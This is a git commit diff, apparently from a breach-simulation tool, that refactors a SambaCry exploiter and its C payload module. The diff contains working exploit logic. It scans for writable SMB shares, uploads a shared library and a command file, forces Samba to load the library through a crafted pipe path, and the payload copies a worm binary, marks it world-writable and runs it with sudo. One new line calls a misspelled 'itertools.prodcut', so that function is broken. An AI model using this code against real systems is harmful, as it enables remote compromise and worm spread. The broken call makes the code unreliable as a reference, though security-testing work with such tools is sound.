This commit is contained in:
Itay Mizeretz 2017-09-04 14:52:24 +03:00
parent c8d7a2c4d3
commit cc889f9124
5 changed files with 91 additions and 96 deletions

View File

@ -174,22 +174,22 @@ class ControlClient(object):
if is_windows:
os = "windows"
if is_32bit:
arc = "x86"
arch = "x86"
else:
arc = "amd64"
arch = "amd64"
else:
os = "linux"
if is_32bit:
arc = "i686"
arch = "i686"
else:
arc = "x86_64"
arch = "x86_64"
return \
{
"os":
{
"type": os,
"machine": arc
"machine": arch
}
}

View File

@ -8,6 +8,8 @@ import logging
import subprocess
import argparse
from ctypes import c_char_p
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from config import WormConfiguration
from system_info import SystemInfoCollector, OperatingSystem
@ -44,7 +46,7 @@ class MonkeyDrops(object):
def start(self):
if self._config['destination_path'] is None:
# TODO: log or something.
LOG.error("No destination path specified")
return
# we copy/move only in case path is different
@ -93,23 +95,18 @@ class MonkeyDrops(object):
except:
LOG.warn("Cannot set reference date to destination file")
monkey_options = ""
if self.opts.parent:
monkey_options += " -p %s" % self.opts.parent
if self.opts.tunnel:
monkey_options += " -t %s" % self.opts.tunnel
if self.opts.server:
monkey_options += " -s %s" % self.opts.server
if self.opts.depth:
monkey_options += " -d %s" % self.opts.depth
monkey_options = build_monkey_commandline_explicitly(
self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
else:
dest_path = self._config['destination_path']
monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
# In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
# runs the monkey
inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
'monkey_commandline': monkey_cmdline}
'monkey_commandline': inner_monkey_cmdline}
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None,

View File

@ -4,6 +4,8 @@ import sys
import time
from io import BytesIO
from os import path
import itertools
import posixpath
import impacket.smbconnection
from impacket.nt_errors import STATUS_SUCCESS
@ -18,7 +20,7 @@ import monkeyfs
from exploit import HostExploiter
from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline, get_target_monkey_by_os
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path
__author__ = 'itay.mizeretz'
@ -76,7 +78,6 @@ class SambaCryExploiter(HostExploiter):
:param host: victim Host object
:param share: share name
:param creds: credentials to use with share
:param monkey_bin_src_path: src path of monkey binary to upload
:param depth: current depth of monkey
"""
try:
@ -148,11 +149,7 @@ class SambaCryExploiter(HostExploiter):
shares = self.list_shares(smb_client)
# don't try shares we can already write to.
for writable_share in writable_shares_creds_dict:
if writable_share in shares:
shares.remove(writable_share)
for share in shares:
for share in [x for x in shares if x not in writable_shares_creds_dict]:
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
@ -165,6 +162,8 @@ class SambaCryExploiter(HostExploiter):
def get_credentials_list(self):
user_password_pairs = self._config.get_exploit_user_password_pairs()
# Add empty credentials for anonymous shares.
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
for user, password in user_password_pairs:
@ -174,11 +173,7 @@ class SambaCryExploiter(HostExploiter):
def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
for share in self._config.sambacry_shares_not_to_check:
if share in shares:
shares.remove(share)
return shares
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
def is_vulnerable(self, host):
"""
@ -209,8 +204,8 @@ class SambaCryExploiter(HostExploiter):
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" %
(host.ip_addr, smb_server_name, samba_version, int(is_vulnerable)))
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
return is_vulnerable
@ -244,7 +239,6 @@ class SambaCryExploiter(HostExploiter):
:param smb_client: smb client object
:param host: victim Host object
:param share: share name
:param monkey_bin_src_path: src path of monkey binary to upload
:param depth: current depth of monkey
"""
tree_id = smb_client.connectTree(share)
@ -305,7 +299,7 @@ class SambaCryExploiter(HostExploiter):
try:
# the extra / on the beginning is required for the vulnerability
self.openPipe(smb_client, "/" + module_path)
self.open_pipe(smb_client, "/" + module_path)
except (impacket.smbconnection.SessionError, SessionError) as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
@ -321,25 +315,22 @@ class SambaCryExploiter(HostExploiter):
:param share_name: Name of the share
:return: Array of possible full paths to the module.
"""
possible_paths = []
for folder_path in self._config.sambacry_folder_paths_to_guess:
for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]:
possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name))
return possible_paths
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
return [posixpath.join(*x) for x in itertools.prodcut(sambacry_folder_paths_to_guess, [share_name], file_names)]
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb")
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb")
else:
return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb")
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
@ -385,7 +376,7 @@ class SambaCryExploiter(HostExploiter):
# In our case, str(FileID)
return str(createResponse['FileID'])
def openPipe(self, smb_client, pathName):
def open_pipe(self, smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$')
@ -415,5 +406,5 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)

View File

@ -442,33 +442,47 @@ def get_target_monkey(host):
return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit):
from control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline(target_host, depth, location=None):
from config import WormConfiguration, GUID
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = ""
cmdline += " -p " + GUID
if target_host.default_tunnel:
cmdline += " -t " + target_host.default_tunnel
if target_host.default_server:
cmdline += " -s " + target_host.default_server
if parent is not None:
cmdline += " -p " + parent
if tunnel is not None:
cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password):
from control import ControlClient
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password})
def get_binaries_dir_path():
if getattr(sys, 'frozen', False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))

View File

@ -7,11 +7,11 @@
#include "sc_monkey_runner.h"
#ifdef __x86_64__
#define ARC_IS_64
#define ARCH_IS_64
#endif
#ifdef _____LP64_____
#define ARC_IS_64
#define ARCH_IS_64
#endif
#define LINE_MAX_LENGTH (2048)
@ -19,7 +19,7 @@
int samba_init_module(void)
{
#ifdef ARC_IS_64
#ifdef ARCH_IS_64
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
const char MONKEY_NAME[] = "monkey64";
const char MONKEY_COPY_NAME[] = "monkey64_2";
@ -30,23 +30,24 @@ int samba_init_module(void)
#endif
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
const char ACCESS_MODE_STRING[] = "0777";
const int ACCESS_MODE_STRING = 0777;
const char RUN_MONKEY_CMD[] = "sudo ./";
int found = 0;
char modulePathLine[LINE_MAX_LENGTH];
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
char commandline[LINE_MAX_LENGTH] = {'\0'};
char* monkeyDirectory;
char* fileNamePointer;
int accessMode;
FILE * pFile;
char* monkeyDirectory = NULL;
char* fileNamePointer = NULL;
int accessMode = 0;
FILE * pFile = NULL;
pid_t pid = 0;
int monkeySize;
void* monkeyBinary;
int monkeySize = 0;
void* monkeyBinary = NULL;
struct stat fileStats;
pid = fork();
if (pid != 0)
if (0 != pid)
{
// error or this is parent - nothing to do but return.
return 0;
@ -54,7 +55,7 @@ int samba_init_module(void)
// Find fullpath of running module.
pFile = fopen("/proc/self/maps", "r");
if (pFile == NULL)
if (NULL == pFile)
{
return 0;
}
@ -70,7 +71,7 @@ int samba_init_module(void)
fclose(pFile);
// We can't find ourselves in module list
if (found == 0)
if (0 == found)
{
return 0;
}
@ -78,14 +79,14 @@ int samba_init_module(void)
monkeyDirectory = strchr(modulePathLine, '/');
*fileNamePointer = '\0';
if (chdir(monkeyDirectory) < 0)
if (0 != chdir(monkeyDirectory))
{
return 0;
}
// Write file to indicate we're running
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
if (pFile == NULL)
if (NULL == pFile)
{
return 0;
}
@ -95,44 +96,37 @@ int samba_init_module(void)
// Read commandline
pFile = fopen(COMMANDLINE_FILENAME, "r");
if (pFile == NULL)
if (NULL == pFile)
{
return 0;
}
// Build commandline
strcpy(commandline, RUN_MONKEY_CMD);
strcpy(commandline + strlen(RUN_MONKEY_CMD), MONKEY_COPY_NAME);
commandline[strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME)] = ' ';
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1);
strncat(commandline, " ", 1);
fread(commandline + strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME) + 1, 1, LINE_MAX_LENGTH, pFile);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
fclose(pFile);
if (0 != stat(MONKEY_NAME, &fileStats))
{
return 0;
}
monkeySize = (int)fileStats.st_size;
// Copy monkey to new file so we'll own it.
pFile = fopen(MONKEY_NAME, "rb");
if (pFile == NULL)
if (NULL == pFile)
{
return 0;
}
if (0 != fseek (pFile, 0 ,SEEK_END))
{
return 0;
}
monkeySize = ftell(pFile);
if (-1 == monkeySize)
{
return 0;
}
rewind(pFile);
monkeyBinary = malloc(monkeySize);
if (0 == monkeyBinary)
if (NULL == monkeyBinary)
{
return 0;
}
@ -141,7 +135,7 @@ int samba_init_module(void)
fclose(pFile);
pFile = fopen(MONKEY_COPY_NAME, "wb");
if (pFile == NULL)
if (NULL == pFile)
{
free(monkeyBinary);
return 0;
@ -151,8 +145,7 @@ int samba_init_module(void)
free(monkeyBinary);
// Change monkey permissions
accessMode = strtol(ACCESS_MODE_STRING, 0, 8);
if (chmod(MONKEY_COPY_NAME, accessMode) < 0)
if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE_STRING))
{
return 0;
}